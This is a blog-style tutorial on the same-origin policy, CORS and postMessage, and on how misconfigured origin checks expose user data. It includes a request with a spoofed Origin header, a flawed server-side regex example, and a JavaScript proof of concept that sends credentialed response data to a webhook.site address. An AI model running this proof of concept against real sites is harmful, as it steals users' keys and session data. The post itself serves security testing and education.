How are cross origin requests handled in the real world? Let's talk about cors, sop and origin and how these security measures can lead to vulnerabilities in your application.

Example

How are cross origin requests handled in the real world? Applications have to talk to each other in order to exchange information. Imagine http://example.com needs to get some information from http://api.example.com/v1/getUsers, when this request is made from http://example.com the origins are different so we have to have a way to make these requests, since usually SOP (same origin policy) would not allow it. The answer to this problem is cors (cross origin resource sharing) which allows for communication across origins.

Same Origin Policy (SOP)

The same origin policy is a central part of browser security, it handles how resources with different origins interact with each other. An origin is said to have the same origin only if the protocol , port and host match, that means that http://example.com and http://example.com/assets/css/styles.css have the same origin since the requirements are met, however https://api.example.com/getUsers does not meet the requirement and therefor requests made from http://example.com will fail.

Same origin policy is important since when an application makes a request to a new origin all cookies, auth headers and information is passed down with the request - which means that if you allow the wrong origin a user might visit a malicious website which could steal their data.

Key Concepts

Trust

  • <script src='https://example.com/lib.js'></script>
  • when the user agent processes the script element the script will be fetched with the same privileges as the document.
  • user agents also send information to server using URIs (forms for example).

Origin

  • Two URI's share the same origin when the scheme, host, and port are the same.

Authority

  • Not every resource in an origin has the same authority.
  • an image is passive content and has no authority, the image has no access to the objects and resources available to its origin.
  • HTML documents carry the full authority of their origin, the document can access every object in its origin.
  • User agents determine how much authority to grant a resource by checking its media type (ie images get no authority but javascript files get full authority of the page).

Policy

  • User agents isolate different origins.
  • Object Access: content retrieved from one URI can access objects associated with content retrieved from another URI if and only if the two URIs belong to the same origin.
  • Generally reading information from another origin is forbidden.
  • Network resources can opt-in into letting other origins read their information (cors).
  • Access is granted in a per-origin basis.

Cross Origin Resource Sharing (CORS)

To be able to make requests to an application on a different origin we need to have:

  • A response with the Access-Control-Allow-Origin header, with the origin of where the request originated from as the value.
  • User agent validates that the value and origin of where the request originated match.
  • User agents can discover via a preflight request whether a cross-origin resource is prepared to accept requests from a given origin.
  • Server-side applications are enabled to discover that an http request was deemed a cross-origin request by the user agent, through the Origin header.

CORS Attacks

When testing for these configuration mistakes is always important to note that if the Access-Control-Allow-Credentials does not come back in our response but the Access-Control-Allow-Origin still gets reflected this does not mean the endpoint is vulnerable to data exfiltration since you need to have those creds being passed in the request.

Server Side ACAO (Access-Control-Allow-Origin) Headers

  • Applications might need to communicate with other services outside their own origin - in some cases the Origin header from a request is used to populate the Access-Control-Allow-Origin in the response by the server, which would allow the cross origin request, however since the Origin can be manipulated from the client side - in this case we could set the Origin to something we control:
// request with the origin we control
GET /v1/getApiKey HTTP/1.1
Host: http://example.com
Origin: http://evildomain.com
Cookie: session='...'
// response that reflects the origin
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://evildomain.com
Access-Control-Allow-Credentials: true

If we are able to get a response like the one above from a request we control, we can go ahead and create a PoC in a server we control, for this I have used webhook and a vps, though you could just use trustedSec's PoC since that will guarantee any private information doesn't leave your control, but the methodology of the PoCs are the same:

  • Create an XMLHttpRequest request object(or fetch request).
  • Create a listener that fires when the page loads using  .onload, this function will exfiltrate the data to our server.
  • Set the the vulnerable URI and method using the .open method.
  • Set the .withCredentials method on the request object.
  • Send the request using .send

// Create an XMLHttpRequest request object(or fetch request)
var req = new XMLHttpRequest();
// create a listener that fires when the page loads
req.onload = reqListener;
// set method and uri for the request
req.open('GET', 'http://vulnerable.com/api/getKey');
// allow credentials - this will pass cookies to our request
req.withCredentials = true;
// send our request
req.send();

// this function will execute when the page loads
function reqListener() {
  location='//webhook.site/123-12.../?data='+this.responseText);
}

You can monitor your webhook.site instance and you should see the request with the responseText and from the vulnerable site.

regex

While the above is the best case scenario for an attacker I have only found a few instances where that is the case, something that happens more often is when an application has subdomains that it needs to talk to: api.example.com , auth.example.com and example.com need to be able to share resources, and that can be achieved by using cors - the developer sets up some code that allows cross-origin-resource-sharing only from subdomains in example.com

// server code
...
var origin = req.header('Origin')
var regex = /https:\/\/[a-z]+.example.com/

if (regex) {
  res.header(`Allow-Access-Control: ${origin}`)
  res.header('Access-Control-Allow-Credentials: true')
}
...

In the above code the origin is checked using a regex, if the origin would be [evildomain.com](http://evildomain.com) the regex would fail and the if-statement block wouldn't execute, however the regex here has a side effect in that it interprets . as:

  • The . metacharacter is shorthand for a character class that matches any character. It is very convenient when you want to match any char at a particular position in a string.

Which means that our regex would match [https://evildomainexample.com](https://evildomainexample.com) and would execute the if statement, giving us control of the origin and allowing us get user requests with possible sensitive information.

postMessage()

This is a bit different but it deals with the origin passed to postMessage() and it's a way to get around cors issues when introducing communication between window (i.e iframe sending the parent window a message) that introduces some vulnerabilities as well:

  • The window.postMessage() method safely enables cross-origin communication between Window objects; e.g., between a page and a pop-up that it spawned, or between a page and an iframe embedded within it.
  • If the application uses a wildcard origin to enable this communication, any website can send messages to this window and the messages will be allowed and ingested by the application, this can often lead to XSS

syntax:

targetWindow.postMessage(message, targetOrigin, [transfer]);

If * is passed as the targetOrigin parameter this discloses the data you send to any website that sets up a listener.

A really cool example of this is @fransrosen's report on H1's Marketo's form which used a postMessage() function with no origin set - so it was possible to listen to data being sent to the H1 form.

Thoughts

Origin is complex - because web applications need to communicate and share resources with other applications, this introduces ways of bypassing same-origin-policy like cors and postMessage which is awesome but if misconfigured it could leave your application's users vulnerable to having possibly sensitive data stolen.

resources

https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/
https://www.corben.io/tricky-CORS/
https://hackerone.com/reports/207042
https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage
https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
https://www.w3.org/wiki/CORS
https://tools.ietf.org/html/rfc6454
https://medium.com/bugbountywriteup/cors-one-liner-command-exploiter-88c06903cca0

The awesome image used in this article is called Street Rod and it was created by Biggs.